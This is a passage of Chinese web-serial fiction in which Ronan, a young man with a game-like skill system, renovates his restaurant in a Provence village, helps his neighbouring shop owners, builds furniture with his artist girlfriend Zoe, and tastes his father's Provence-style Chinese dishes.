“还有三个呢,上午录不完下午继续。”工作人员笑着说。 “不不不,不吃饭也得把它们录完了。”冯珍对着某个方向喊了一句,“儿子,我采访太多了,中午吃饭不用等我了啊。” 罗南和加布里埃尔‘勾肩搭臂’的走在一起,对着母亲挥了挥手: “知道了!” 摇滚女突然掉头向政府大楼走: “我觉得我之前回答的不够好,可以补录一些画面。” “我也是,我之前太不用心了,” “那一起吧,我陪你们重新录制一下。” 第二天早上。 布兰科看完了昨天的素材,激动的问希尔维。 “你们没逼这几个外村店主吧?” 希尔维连连摇头: “没有,我们什么都没说,但他们就是突然模仿起罗南,也‘爱上’卢尔马兰了,媒体都跟我投诉了.说这些人聊起来没完没了,都影响他们下班了。” 布兰科开心的拍了下桌子: “好好好!你再去给罗南送5000‘装修基金’,这个‘演出费’必须给他结了,他帮我们大忙了!” 第176章 成功人士 希尔维来的正是时候。 罗南这段时间正在为装修预算而头疼。 7月中下旬开始,他和卡福见过好几次面,也去现场看过好几次,针对室内室外两套不同的装修设计进行了深入的讨论和沟通。 罗南先后给餐厅设计了好几个不同的装修方案,有一些他自己很满意,但卡福没见过也没做过。 卡福基本可以代表普罗旺斯装修的最高水平,想要实现罗南的设想只能去巴黎等大城市找施工团队,这是不现实的。 之后罗南做了一些设计改良,确保卡福可以做出来并且能做的成功,但成本又无法控制了。 比如为了彰显中国元素,罗南希望让室内的每一个座位都像是亭子或者渔船,并在四周放入与之匹配的关键元素。 卡福评估后报出了45000法郎的价格,这还是在友情价的基础上又打一个折扣,万一罗南哪天突发奇想又要加点什么,这个预算还会继续增加,于是类似的设计方案也只能放弃。 这个时候,罗南再次体会到了钱的重要性。 整个夏天罗南其实没有花过什么太大的钱,装修后院买石材花了6000多,去艾克斯买专业户外装备花了4000多,剩下的就是日常支出。 在8月份之前,一共存下来了4万多法郎,这已经是松露采摘季结束后的最高峰了。 但交了半年的店铺租金和各种杂费后,又只剩3万法郎了。 最终,在评估了钱包的厚度、卡福团队的能力、工期长短、风格、其他餐厅装修经验等大量因素后,罗南决定——轻装修重装饰。 把预算的大头全部放在后期配饰、家具的选择和色调上,尽量压缩施工的成本。 索格岛的‘森林’主题餐厅也采用了这种策略,效果还是很不错的。 餐厅的整体风格以明亮、干净和简洁为主,贴近近期普罗旺斯餐厅的主装修旋律。 中式元素靠罗南在后期进行点缀达成。 确定装修方案后,卡福预计施工工期需要1个半月左右,预算19000法郎。 这部分钱大部分可以靠卢尔马兰政府给的补贴填上。 算上施工后进家具和‘软装施工’的时间,罗南的餐厅最快也要在10月份才能开业。 在未来的两个月里,罗南既要努力赚钱,又要想办法压缩其余的装修支出,经济压力巨大。 “想多省点钱,只能自己多动手了。”罗南由衷感慨。 老板不好当啊尤其是贫穷的老板。 交房的日期很尴尬,8月底旅行大军就要离开普罗旺斯了。 如果想要在今年有所‘收获’,必须抓紧时间开业。 整条商业街上所有招商成功的店铺,都在8月1号当天进入了装修施工阶段。 除了罗南之外的几个卢尔马兰本村村民开的都是小规模店铺,例如纪念品商店和卖绣被和手工刺绣的商店。 虽然政府也给了他们‘装修基金’,但这些人无一例外选择了自己装修。 叫上家里的几个亲戚,再喊几个村民,这就足够了,大家都是这样装修的。 而且他们也不懂什么设计,只要能用、够开业就行了。 所以整条街上,只有罗南的餐厅和四个外村店主请了专业的工匠团队入场。 加布里埃尔拿完钥匙就‘消失’了,他的生意做的太大,未来会有员工专门负责卢尔马兰的店铺。 和加布里埃尔情况类似的,还有开咖啡厅的中年男店主,他的装修工作也交给了他妻子的弟弟负责。 但另外两个外村人,戴眼镜、开石材店的托马斯和爆炸头、开艺术品商店的歌迪亚全程驻店监督工匠的施工工作。 但他们也不懂装修啊,大部分时间只能躲在阴凉一点的地方观察他们的第二家乡——卢尔马兰里发生的一举一动。 “罗南居然也在盯装修。”托马斯的眼睛每过几秒就会扫向商业街上那个位置最好的商铺。 罗南每天早早的来,下午晚晚的走,跟上班一样。 “是啊,太奇怪了,按理说他这种级别的人物应该和加布里埃尔一样,放一个员工在这里盯着,怎么会自己亲自盯装修呢?”歌迪亚同样发现了这个不寻常的地方。 她和托马斯私下议论过许多次,知道罗南来自巴黎后,更加肯定他的背景‘高深莫测’了。 “可能因为是给他父亲‘养老’用的,所以格外用心?”托马斯小声嘟囔。 根本不需要主动去打听什么,热心的村民已经把罗南的全部信息告诉他们了: 22岁,来自巴黎,没有看房就在卢尔马兰买下了一间带农田的农舍。 父亲是巴黎的社会精英,开过四五家餐厅,做过货运方面的生意,来普罗旺斯前在做生鲜买卖。 父母待腻了巴黎,搬来普罗旺斯过‘退休’生活,但又闲不下来,想让‘退休’生活多的多姿多彩一些,罗南知道了二话不说,马上租了个店铺给父亲开餐厅‘打发时间’,这些是罗南的母亲亲口说的。 虽然是个标准的富二代,但喜欢体验生活,去集市上摆过摊、上山挖过松露、还亲自打理了一片葡萄园扬言要体验普罗旺斯所有美好的事物。 花钱如流水,买了一辆3000的车却花9000修车,每个月不花点钱装修房子就难受,据说罗南家比阿尔林德舞厅还好看,主打一个有钱随性。 嗜酒如命,尤其是粉红酒,女朋友是卢尔马兰最漂亮的女孩,还是个艺术家呢。 瞧瞧标准的成功人士! 这种人得结交一下啊,大家以后就是邻居了。 托马斯问歌迪亚: “罗南在店里面应该也挺无聊的吧?那里面全是粉尘,装修噪音也让人头疼。” 歌迪亚兴奋的说: “肯定会无聊的,快到午饭时间了,不如我们去约罗南吃个午饭?” “这真是一个非常棒的提议!”托马斯迈步向罗南的店铺走,“之后我们每天可以拉着他一起聊天,大家需要尽快熟悉起来。” 罗南餐厅里有十多个人在同时施工。 每个角落都是光着上半身、像专业橄榄球运动员一样壮硕的大汉。 他们有的在砌墙、有的在做墙面基底处理、有的在搬材料、有的在徒手劈砖初看杂乱无章,细品又能看到这支队伍的专业和高效。 托马斯和歌迪亚都是见过世面的‘大城市人’,一眼看出罗南找了一支非常专业和有实力的工匠团队。 嗯.很符合他的身份。 “你好,请问罗南在哪里?”托马斯礼貌的问一个工人。 那工人像是一个无情的干活机器,敷衍的指了一个方向: “快点离开这里,别耽误我们干活。” “我们很快就离开。”托马斯尴尬的说。 他们绕开一地的建筑材料向那人指的院子方向移动。 刚走了几步,听到身后有一道声音出现: “来几个人出来搬东西!” 托马斯和歌迪亚回头,看到一个戴着船长帽、长相凶残的当地居民用‘居高临下’语气说: “你们今天又有口福了,罗南先生的父亲让我送几个菜来犒劳你们,珍珠翡翠白玉汤、绝代双椒、全家福” 那人一连报了七八个托马斯和歌迪亚听不懂的菜名。 虽然他们听不懂,但他们知道,这些菜是罗南家给这些工匠准备的。 那是罗南家的管家吗? 嗯.很符合罗南的身份。 “喂!你们两个是谁?”亨利指着托马斯和歌迪亚问。 托马斯笑着说: “我们是隔壁的店主,来找罗南的。” 亨利的眉毛马上竖起来,气势汹汹的说: “想拜访罗南先生要提前预约,罗南先生同意了你们再来。” 哼,居然是两个该死的外乡人! 卡福对托马斯和歌迪亚摆手,让他们进去: “罗南在院子的西北角。” 托马斯和歌迪亚离开后,卡福笑着问亨利: “老罗今天又试菜了?” 后院的工人也不少。 托马斯和歌迪亚第一时间没有在院子的西北角见到罗南,于是问其中一个工人: “你好,请问罗南在哪里?” 那人皱着眉头问: “找罗南什么事?” 托马斯叹气道: “我们是隔壁的店主,想和他打个招呼。” 上帝,见罗南为什么这么不容易? 那工人指着西北角说: “罗南在那里,但我恐怕他现在没有时间和你们‘打招呼’。” 托马斯和歌迪亚第二次来到院子的西北角,依然没有看到罗南。 那里只有一地的木屑和一个巨大的、正在发出巨大噪音的‘切割机’。 ‘切割机’旁边,有一个几乎被木屑覆盖了全身的工人正认真的工作着,在他的身边散落了一地切割好的木材。 “罗南会隐身吗?”歌迪亚崩溃的说。 这里哪里有罗南? 这里只有一个木头人和让人崩溃的噪音!! 托马斯快步离开: “该死的,我们被那些工人耍了!” 他们根本不想让我们找到罗南! 突然,两个人面前的木头人动了,他关上切割机,擦了擦眼镜上的木屑: “你们怎么来这里了?” 托马斯生气的说: “好了伙计,我们马上就会离开了。” 摇滚女歌迪亚伸出一根中指,就要对那人竖起: “别想再耍我们。” 木头人把眼镜摘掉,又晃掉了头发上的木屑: “是不有什么误会?” 待歌迪亚看清那人的脸,惊恐的用中指摸了摸脸: “罗南?” 托马斯震惊的不得了,但他努力让自己挤出一个笑容: “你好罗南,又在体验生活吗?” 上帝,需要体验的这么深入吗? 第177章 热心的木头人 为了拉近和正在体验生活的‘罗南少爷’之间的关系,托马斯指着那个巨大的‘切割机’夸赞道: “你真厉害,居然会用‘切割机’。” 罗南把耳塞摘掉,小心翼翼的把它们装起来: “谢谢,不过这不是‘切割机’.这是台锯。” 托马斯尴尬的笑了两声,他不知道台锯是什么东西,但这不影响继续夸: “总之很厉害就是了。” 罗南礼貌的问他们: “刚刚是不是发生了什么让你们误会的事?我的那些朋友们应该不会故意‘刁难’你们的。” 歌迪亚觉得罗南的态度意外的真诚,人也很好相处的样子,于是直接说出目的: “肯定是误会,不过到午饭时间了,我和托马斯想找你一起吃个饭,” 托马斯平摊双手: “我们应该尽快熟悉起来不是吗?将来一定会有合作的机会,可以先聊起来。” 大家都开在一条商业街上,以后肯定有互帮互助的事,例如买我的石器可以在你那里吃饭打折,在你那里吃饭送我一个石器小礼物什么的。 罗南挠了一下脑袋: “但是我中午要去找我女朋友吃饭,给她送手持电锯,今天恐怕不行。” 他不好意思的问: “改天可以吗?” 托马斯和歌迪亚互看了一眼,同时叹了一口气。 好糟糕的借口,罗南的女朋友不是一个做玻璃和陶瓷的艺术家吗? 那需要用到电锯? “好吧,那改天再约。”托马斯和歌迪亚有些失落的离开。 看来罗南并不想和他们结交,其实外面的那些工人和罗南的‘管家’已经给过他们答案了。 离远了一些,托马斯小声对歌迪亚说: “他是不是‘入戏’太深了,弄了这么专业的工具来,不会是要自己做家具吧?他让我想到了设计马桶的皮尔卡丹,真的是‘有钱任性’。” 在普罗旺斯,有不少人都知道皮尔卡丹先生曾经有过一段失败的设计马桶经历,那是一个天大的笑话。 歌迪亚摸着自己的爆炸头说: “做他的女朋友也很倒霉,哪个女人愿意和男朋友聊什么电锯?想想我就要疯了。” 歌迪亚看四周没有人,想把刚刚没有送出去的‘中指’再次送过去,一回头,看到罗南也把上衣脱了,正在用力抖衣服上的木屑。 罗南的身材很棒,这半年的农夫生涯让他练出了一身健硕又匀称的肌肉。 “好吧.也不是不行。”歌迪亚的中指最终还是没有送出去。 女人是不喜欢聊电锯,但是她们爱看好看又有魅力的男人啊。 路易家门口。 “以后我每天带一件可以换的衣服去餐厅,这样就不用麻烦你每天帮我除尘了。” 即使罗南已经认真把衣服‘收拾’了一次,佐伊还是再次帮他做了专业的除尘处理。 “我不嫌累,我是担心你吸到肺里。”佐伊认真的问,“今天做好防护了吗?” 罗南把口袋里的耳塞小心翼翼的拿出来: “当然!手套、口罩、眼镜、耳塞用的全部是你给我准备的!” 佐伊无比重视防护工作,知道罗南每天要和木屑为舞,花了1000多法郎给罗南买了一套超高防护规格的防护道具。 她自己用的都没有这么贵. 觉得弄的差不多了,佐伊把工具收起来,鼓励似的在罗南的下巴上摸了两下: “下午我再给你拿一个面罩,快进去吃饭吧。” 最近罗南一有时间就会来找佐伊,这要从他找卡福借了一全套做木工的机械工具开始讲起。 既然决定要省钱,那么餐厅的家具肯定要尽可能多的自己做。 只靠罗南的那几把小刨子和小锯估计把人累死都做不完。 电动工具的价格很贵,罗南本就没什么钱,也不舍得买。 有一天他和卡福聊天,得知卡福那里的工具和机械非常齐全,正好他现在也不用,就被罗南借来,放到了餐厅里。 罗南和佐伊之前都是纯手工工作者,突然拿到了电动工具像拿到了心爱的玩具一样兴奋。 罗南一有什么使用感触就跑来和佐伊分享,佐伊也会从罗南那拿一些小机械工具上手试试。 两个人拥有共同爱好,也都真心的热爱,枯燥的家具制作成了甜蜜的谈恋爱约会。 因为这套机械工具,见面频率大大提升了。 “我今天给你拿的是电圆锯。”吃完饭,罗南去佐伊的木工坊给她介绍今天的‘玩具’。 卡福那里有三种手持电锯: 电圆锯、曲线锯和往复锯。 相比较下,电圆锯的适用场景更多,也更易于女孩上手。 和他自己现在用的台锯相比,还能省去修整的步骤。 台锯是‘大木作’的理想工具,不过切割之后需要用刨子和木铣再修一修,胜在效率高。 佐伊带好全套防护工具,插上电源,跃跃欲试的就要切木材。 罗南提醒道: “插电的手持锯比电池的手持锯更强力,你一定要注意,拿稳一些。” 佐伊拔掉电源,笑着问罗南: “你能告诉我,这些机械知识都是哪里来的吗?没有记错的话.四个月前你连图纸都不会画,还要我教一步你做一步。” 在罗南装修餐厅之前,佐伊好久没有和罗南一起做木作了,她的记忆还停留在罗南是个听话的‘学生’阶段。 最近罗南拿了许多小机械来,佐伊本想和他一起研究、共同进步,没想到现在罗南已经是她的老师了,次次都能教她怎么用。 罗南把原因推到他的装修经历上: “我最近装修了多少次?见卡福的次数比见你还多,见得多了就学会了,你别分心啊,这些东西可危险了。” 佐伊会的‘手艺’的确不少,但除了玻璃和陶瓷外都不能算是精通。 以木工为例,罗南的技能是2级时没有佐伊的能力强,但到了3级就超过佐伊了,如果升到4级,实力差距会拉得更大。 罗南猜,佐伊的其他‘手艺’例如绳艺等,应该都是类似的水平,不过是她大学前的一个个爱好而已。 但陶瓷和玻璃的能力会强很多。 罗南的系统里也有【制陶】和【玻璃烧制】这两个技能,没有「绳艺」,但有一个叫【编织】的技能。 罗南猜【编织】应该和绳艺有关,说不定还可以让罗南学会织毛衣.之后有机会可以学一级试试。 思绪收回,罗南继续‘威胁’佐伊: “你要是伤到自己,我之后不带‘玩具’来给你了。” 佐伊插上电源,语气平静的说: “不带我就自己过去用,你的餐厅又跑不了,等我送完作品,就去餐厅和你一起做家具。” 从艾克斯回来后,佐伊马上给之前联系过她的三家艺术机构发去了作品的照片。 有一家马上给了回复,让她把作品送到艾克斯,但不是放到展览里,而是放到艾克斯的艺术品商店寄卖。 佐伊不想赚‘快钱’,拒绝了这家机构。 本来已经做好了继续做盘子杯子、日子没有任何改变的心理准备,没想到这周接连收到了另外两家机构的回复——符合参展要求。 这周她就要继续去艾克斯送作品了。 不过这次佐伊没有让罗南送她,首先罗南现在时间宝贵,其次她未来可能真的要经常出差不可能让罗南次次接送,那太浪费时间了。 最近佐伊在练习开车,这次她会自己开车去艾克斯,但路易会陪同她一起。 等佐伊多锻炼几次,以后普罗旺斯地区的所有活动她都可以自己去了,如果离开普罗旺斯再让罗南送她。 “不用。”罗南摇头,“有了这些工具,我做东西特别快,你不用去帮我。” 佐伊打开电锯开关,用坚定的语气说: “不是去帮你,我是去谈恋爱的,你认真看着点我做的对不对。” 巨大的电锯咆哮声,淹没了罗南拒绝的话语。 在普罗旺斯找工匠团队是一件看运气的事情。 不是每一个头儿都叫卡福,也不是每一个人都是干活的机器。 他们经常会用各种各样的理由请假,例如今天天气不好没有干活的心情、想去野餐、开车来的路上摔伤了手臂等等。 不过还好托马斯和歌迪亚全部是有经验的人,知道和工匠签约的时候规定工期。 但这只能保证他们在规定的时间内开业,无法杜绝工人的缺席。 这一天,歌迪亚请的水电工请假了,为了不影响工期,瓦工不得不撑起水电工今日的工作,不过干了一个小时他就‘旷工’了。 “西杜没有标管道的位置,我不知道要怎么弄。” “我们重新确定一下管道的位置不可以吗?难道水管在厨房里只能有一种走线的方案?”歌迪亚愤怒的问。 那瓦工耸肩: “可我是瓦工。” 歌迪亚无奈只能去找托马斯求助。 大家的开工时间差不多,装修进展应该也是差不多的。 “很抱歉歌迪亚,我的水电工今天也请假了,他说他母亲想吃鲁西永的杏,他去给母亲采杏了。”托马斯失笑道。 “不如去罗南那里看看?”托马斯提议,“那个团队看起来足够专业,人也很多。” 虽然很不情愿,但他们还是再次来到了罗南的餐厅。 一进去他们就慌了,罗南餐厅的水电路似乎已经走完了.这么快吗? “打扰一下,有没有水电工可以去我的餐厅看一下,我那里遇到了一些麻烦。”歌迪亚求助道。 一个大汗淋漓的工人说: “你们先回去吧,我问一问,如果有的话我让他过去找你。” “谢谢。” 大约过了10分钟。 一个‘木头人’出现在歌迪亚的餐厅门口: “听说你需要帮助?” 歌迪亚的面部表情在短短的一秒内变化了四五次: “我很感谢你能来,但我需要一个水电工,而不是木工。” 罗南礼貌的在门口抖了几下木屑: “带我去看看吧。” 半个小时后,罗南在墙上涂涂画画了一番后离开。 “按照他标注的干吗?”瓦工问歌迪亚。 “你觉得他画的有问题吗?”歌迪亚反问。 “我只是个瓦工。”瓦工耸肩。 歌迪亚对着他竖了一个中指: “干吧,干吧。” 她不知道罗南专业不专业,但他应该比这个瓦工专业! 又过了几天,托尔斯的瓦工请假了,全屋地面工作陷入了停滞。 他不得不再次去罗南的餐厅求助。 10分钟后,热心的‘木头人’又出现了。 “需要帮助吗?” 托尔斯把眼镜了下来,用力揉了揉眼角: “先是木工,之后是水电工,现在又开始体验瓦工了?” 罗南少爷! 你究竟要体验多少种人生啊? 木头人摇头,木屑飞溅: “我不是木工,不是水电工,也不是瓦工。” 看热闹的歌迪亚惊恐的瞪大眼睛,似乎想把罗南吃了: “什么?我的水路全部按照你画的图改的,它不会爆炸吧?!” 罗南无辜的摊手: “我只是个设计师啊。” 你们以为我想来吗? 那些工人都是我花钱请来的,让他们来帮你们我心疼啊 只能苦了我自己。 第178章 拒绝以干活的名义谈情说爱! 住在小乡村,人和人之间的距离会非常‘近’,生活里永远只有那几个人,想不熟悉都不行。 只是寻求了四五次帮助,歌迪亚和托马斯便对罗南有了新的认知——他们拿到的罗南‘资料’并不准确。 罗南到底是什么人,需要他们用自己的眼睛和自己的耳朵亲自去了解。 “你居然是个专业的室内设计师?”罗南用他的专业能力使托马斯相信了这是他的职业,而不是什么‘体验人生’。 “现在不是专业了,是副业。”罗南和歌迪亚、托马斯一起躲在树荫下,眼睛看着某个方向。 在普罗旺斯,室内设计师的稀缺程度不亚于寻找一个靠谱的施工团队,歌迪亚有些遗憾的说: “早知道让你帮我设计一下了我以为你做那些只是玩玩而已。” 怪不得罗南餐厅的装修进度这么快,原来有一个设计师在。 罗南有些诧异的看向他们二人: “你们是听到村民们说的某些‘谣言’了吧?上帝,你们不是普罗旺斯人吗?怎么能完全相信村民说的话?” “我当然是普罗旺斯人,但我之前生活在阿普特。”托马斯耸肩道。 阿普特的民风和吕贝隆的民风不太一样,那里有很多娱乐活动,没人会花大量时间‘嚼舌根’。 罗南好奇的问: “你在这里开什么店铺?” 托马斯认真介绍: “我家有几座采石场,也有一些长年合作的工匠,我要在这里开一个石器店。” 罗南挑了一下眉毛。 家里有好几座采石场? 这才是有钱人家的大少爷啊! 歌迪亚也热情的介绍自己: “我以前在艾克斯搞乐队,后来赚了一点钱,现在做做艺术品生意,我开的是艺术品商店。” 罗南的眼睛一下子亮了: “你的店铺收玻璃和陶瓷的杯子和盘子吗?” 歌迪亚耸肩道: “只要是好的,我什么都收。” 罗南给她推荐道: “我女朋友也是个艺术家,她一会要来陪我做家具,下午你如果没有重要的事可以去我的餐厅,我介绍你们认识。” “这是我的荣幸。”歌迪亚微笑着说。 罗南突然对着博物馆的方向露出笑容: “我女朋友来了,一会儿见。” 托马斯和歌迪亚见罗南一路小跑到还在施工中的博物馆门口,拉住一个头发金黄的姑娘的手,之后两个人说说笑笑的进入了罗南的餐厅。 “那就是他女朋友?”托马斯眯起眼睛,似乎想要判断村民们说的‘罗南的女朋友是卢尔马兰最漂亮的女孩’是否也是谣言。 歌迪亚撇着嘴说: “可怜的女孩。” “为什么这么说?”托马斯不理解的问。 歌迪亚也离开了这里: “罗南的餐厅乱的像打仗一样,哪个女孩愿意留在那里陪男朋友做家具?而且还是艺术家!女人啊.为了爱情付出太多东西了。” 下午3点,歌迪亚如约来到罗南的餐厅,意外发现院子的西北角多出了一个木头人。 由于两个木头人都戴着层层防护道具,而且在进行激烈的‘争吵’,即使歌迪亚走得很近了,他们依然没有发现。 个子稍高一些的木头人焦急的说: “哦不不不,你不能用台锯,那太危险了,你继续用电锯。” 个子稍微矮一些的木头人用不屑一顾的语气说: “在你去厕所的时候,我已经用台锯切完4块木板了,卡福说我的操作没有任何问题。” 个子稍高的木头人启用迂回战术: “你不是想试一试压刨吗?我给你拿来,你去帮我处理板面吧?” 个子稍矮的木头人抗议: “别再用压刨、电木铣和砂轮机打发我了好吗?我第一次做木工的时候你还穿着开裆裤呢。” “求求你了,你用台锯和带锯我会担心的。”个子稍高的木头人用哀求的语气说。 个子稍矮的木头人拍了拍对方的屁股: “好了宝贝,我发誓一定会注意安全的好吗?” 歌迪亚被这段夹杂着大量生僻单词的‘打情骂俏’惊呆了。 所以眼前的这对是罗南和那位卢尔马尔最漂亮的女孩、同样也是村子里唯一的艺术家吗? 看来要用眼睛和耳朵亲自观察的不是只罗南是什么人,还有这位. 对了,这位痴迷机械工具的女孩叫什么来着? 村民们从来没有提过她的名字。 突然,一个壮汉气势汹汹的冲出来,关掉了两个人手里机械的电源,之后对着他们大声咆哮: “佐伊、罗南,你们两个该死的家伙如果继续在这里以干活的名义约会谈恋爱、影响我的伙计们工作就全部给我滚出去,谁也别想碰我的工具一下!听到没有?!” 罗南摘掉耳机,尴尬的问: “抱歉卡福,我们说话很大声吗?” 戴着耳机,没有什么概念。 卡福指着歌迪亚说: “你们把几十米外的人都引来了!” 说完,他气呼呼的离开。 罗南终于发现了歌迪亚的到来,连忙给她介绍道: “歌迪亚,这是我女朋友佐伊。” 他又想到路易曾说过,佐伊被其他艺术品商店店主的不公平待遇,继续补充道: “我女朋友主要做的是玻璃和陶瓷,一周多前她曾去艾克斯参加了一个玻璃器物展,被皇家艺术学院的——” 罗南突然卡壳了。 那位教授叫什么名字来着? “高德曼教授!” 一道女声打破了罗南的回忆,但发出声音的不是佐伊,而是歌迪亚。 她走到佐伊面前: “我在艾克斯听过你的名字,你是高德曼教授在那天唯一一个点评过的设计师,也是他印象最深刻的作品。” 罗南非常意外歌迪亚的反应。 佐伊已经这么有名了吗? 歌迪亚期待的问佐伊: “我可以去看看你的作品吗?” 佐伊摘下护具,歉意的说: “我的作品大部分都送去艾克斯了,就在今天上午,留下的只有杯子和盘子。” 歌迪亚紧张的问: “送到艾克斯的艺术品商店了?” 佐伊摇头: “不是,被格拉内博物馆邀请去参展了。” 歌迪亚更紧张了,眉头深深的皱到一起,配合着她的头发,看起来更像狮子了。 罗南把佐伊介绍给歌迪亚,是为了卖出她的那些杯子和盘子,于是主动建议道: “今晚去我家吃饭吧,叫上托马斯一起。” 他们俩曾约罗南一起吃饭,但由于罗南最近忙于做家具,一直没有成型。 正好借此机会拉近一下大家的距离。 怎料,歌迪亚想都没想就把罗南拒绝了: “抱歉了罗南,今天恐怕不行。” 歌迪亚严肃的对佐伊说: “现在就带我去看看你的杯子和盘子。” 罗南惊的说不出话来。 哪里需要他保护佐伊啊? 人家佐伊现在在普罗旺斯艺术家圈是真的出名了! 晚上。 “佐伊没跟你一起回来?”冯珍在门外找了一圈,“中午不是说晚上来家里吃饭吗?” 罗南笑着耸肩: “佐伊现在应该正在数钱呢。” 歌迪亚去佐伊家时,找罗南借走了他的货车,看样子是要进行大采购了。 给母亲解释完佐伊为什么没有一起来后,冯珍遗憾的直咂嘴: “哎呀,本想着佐伊可以从本地人的角度评价一下你爸爸改良完的菜呢。” 罗南脱衣服的动作一顿: “爸爸终于定下来菜单了吗?” 第179章 技多不压身 冯珍眉飞色舞的和罗南小声说道: “你爸成天神神秘秘的,我也不知道他现在是什么进度.就说今天要做几个‘改良菜’给大家尝尝。” 罗南拿着换洗的衣服进卫生间,笑着对母亲说: “行,让我爸好好做,我一会出来尝尝。” 这老头憋了一个多月.倒是要看看憋出什么‘大招’了。 罗南洗完澡,家里的饭也正好做好了。 不多,4菜1主食。 罗天海开始试菜后,罗南家3口人最多的一次吃了10道菜,这种‘营养过剩’的日子在卡福的兄弟们加入后终于结束了。 罗天海只会把自认为最棒的菜留下,其他都会给卡福他们送去。 由于进行了‘改良’,桌上这四道菜和原版菜的‘色香味’肯定不大一样了。 不过罗南还是根据食材搭配,看出它们分别是蒜蓉粉丝虾、椒盐软壳蟹、菠萝咕老肉、白灼菜心和卤肉饭。 罗南摸着下巴想。 罗天海是川菜厨子出身,居然一道川菜都没出现? 这不合理啊. 罗天海拿着一瓶白酒笑呵呵的坐下来,问罗南: “今天喝点这个?” 罗天海只在‘大日子’才舍得喝白酒,这东西在普罗旺斯又贵又不好买。 今天肯邀请罗南一起喝点,说明这是觉得今天可以庆祝一下了。 罗南给父亲倒酒,笑着问: “这么有信心?” 罗天海给儿子和老婆递筷子,难掩激动的说: “你们就尝尝吧!” 冯珍接下筷子,对老公说: “你先给我们介绍一下啊,自己鼓弄了这么长时间谁知道你都‘改良’了什么。” 罗天海喝了一口白酒,又夹了一块螃蟹: “罗南做的锅包肉和火锅那么受本地人欢迎,让我意识到在普罗旺斯做餐饮,必须要考虑地域的口味差异性,定菜单的时候,我首先想的就是,普罗旺斯人爱吃什么。” “普罗旺斯人爱吃什么?”冯珍问。 “爱吃海鲜。”罗南插嘴道。 “没错,普罗旺斯人背靠地中海,他们爱吃海鲜。”罗天海指着椒盐软壳蟹说,“未来我们的菜单里,必须有大量和海鲜有关的菜,我已经找到马赛非常不错的海鲜供应商了。” 今天不仅是展示‘试菜’的成功,也是罗天海阶段性的‘工作汇报’,让儿子知道他这一个多月都干什么了。 罗南和冯珍也尝了一口椒盐软壳蟹。 “嗯?和我之前吃的味道不太一样.不过挺好吃的。”冯珍吃了一口就发现了明显的不同。 “爸爸在里面放普罗旺斯香料了。”罗南把螃蟹壳咬的吱呀作响。 “没错!”罗天海满意的点头,“除了考虑普罗旺斯人爱吃什么,还要考虑他们喜欢吃什么味道!” 罗天海给老婆和儿子分别夹了一只蒜蓉粉丝虾,自信的说: “大蒜、百里香、迷迭香、罗勒、马郁兰、欧芹、干牛至这一个月多我研究出了很多种它们和中式料理的完美融合方式。” 罗南制作出符合普罗旺斯人口味的火锅蘸料时,【烹饪】技能只有3级。 而系统里的3级技能是很容易被超越的。 罗南拥有的3级【建造】只比业余爱好者佐伊强一点点,和真正的老木匠相比完全不够用。 对于一个几十年的老厨师来说,罗天海缺的只是思路,不是能力。 但儿子给了他思路和方向,所以从罗南身上总结出合适的‘改良方法’并不稀奇。 不过罗南还是非常惊讶,尤其是吃了这两道菜后。 父亲的改良水平已经在他之上了。 3级【烹调】带来的能力有两个,一个是对食材的理解加深了,罗南可以在一堆食材里找到最新鲜的。 第二点能力是做饭时对调料的把控能力。 但一道出色的菜肴仅凭以上两点是远远不够的,很显然罗南在其他方面被罗天海全方位碾压了。 罗天海的心情是兴奋的,但他并没有过度骄傲,耐心的和儿子说: “我初步定了50多道菜,装修的这两个月咱们可以慢慢定菜谱了,找到了改良的诀窍,后面的事情就简单了说不定都不用你‘帮忙’了。” 老罗还是很给罗南面子的。 事实上,他心里也清楚,臭小子已经起不了什么作用了。 但这事儿冯珍不知道啊,还是劝老公说: “别啊,罗南更有经验一些,让他和你一起定,而且不可能所有菜都是海鲜,也不可能所有菜都适合放香料。” 罗天海又笑着给她和罗南夹了第三道菜菠萝咕老肉: “尝尝这个。” “要我说啊,有锅包肉就别再准备其他酸甜口的菜了,那不是重复了?”冯珍嘴上说着抱怨的话,但还是很老实的吃了一口,刚入口她马上惊艳的看向老公。 罗南做的‘改良版’锅包肉的味道她太熟悉了。 这道菠萝咕老肉比罗南做的更好吃! 罗天海笑着对罗南说: “你尝尝。” 罗南没有动筷子,直接对父亲说: “明天给我的锅包肉做一版升级吧,你换了味道更加适合的醋,糖似乎也不是我用的那种,不过肯定是更好吃了。” 现在换做罗天海震惊了。 罗南都没吃.怎么把关键点发现了? 他还想好好跟儿子显摆一下,他是如何找到更适合做普罗旺斯改良版糖醋口味菜的调料过程呢! 罗南又低头吸了一下鼻子: “不过菠萝不太新鲜啊,之后如果要卖这道菜不能用这些糊弄客人。” 【烹饪】技能确实压不住人了。 但还好有【采集】带来的无敌嗅觉能力镇镇场子。 这就叫技多不压身。 除非对面也是一个跟松露猎人学木工的厨子。 “这你都闻出来了?”冯珍瞪大眼睛。 罗南的鼻子不会比小黑和马赛还要灵吧? 儿子的表现太‘镇定’了,完全没有罗天海预想中的那种‘崇拜’效果,搞的他也有点心虚了,询问罗南: “或者你有什么意见也可以提出来,我刚说的只是建议。” 罗南给自己盛了一大碗卤肉饭: “改良的这一部分你做主吧,我完全提不出更好的建议,你做的太好了.但我觉得咱们需要几道‘特色菜’,为什么不把那些知名的中国菜拿出来呢?” 罗天海叹气: “我知道你说的是什么意思,有些菜适合改良,有些菜不适合改良比如我之前试着改良四喜丸子,做了好几个版本都特别失败,完全不适合,类似的菜还有很多,越是经典的越不好改。” 罗南想了想,提出了一份建议: “但我们必须做出特色当然改良后的菜单肯定对实际经营有更大的帮助,像阿斯特丽德那样喜欢猎奇的人毕竟是少数。” “这样吧,我们可以列出一份‘特色菜单’,像法餐里的头盘、汤、主食和甜品一样,给他们搭配一套特色的中餐之旅,这应该不难实现吧?” 罗天海沉默了许久,皱眉说道; “这样餐厅的整体风格会不会割裂开?这桌是普罗旺斯融合菜,旁边桌出现了一颗狮子头和麻婆豆腐?” 罗南耸肩: “只是口味无法普罗旺斯化,不代表其他地方也无法普罗旺斯化。” 冯珍和罗天海异口同声的问: “什么意思?” “爸爸,你再定几道中式特色菜吧,要简单、好记且容易被模仿的,我试着给这些无法做口味改良的中餐其他方式的‘改良’。”罗南耸肩道,“不过我只能尽量试试,不保证一定可以成功。” “行,那我明天就做几个狮子头。”罗天海说干就干。 罗南摇头: “不不不,没有那么快,我想好了通知你。” 罗天海着急的问: “大概什么时候?” 罗南笑着的说: “你改良花了1个多月.也给我点时间啊。” 别催,我的【幸福度】还不够! 第180章 “幸福”的假期开始了! 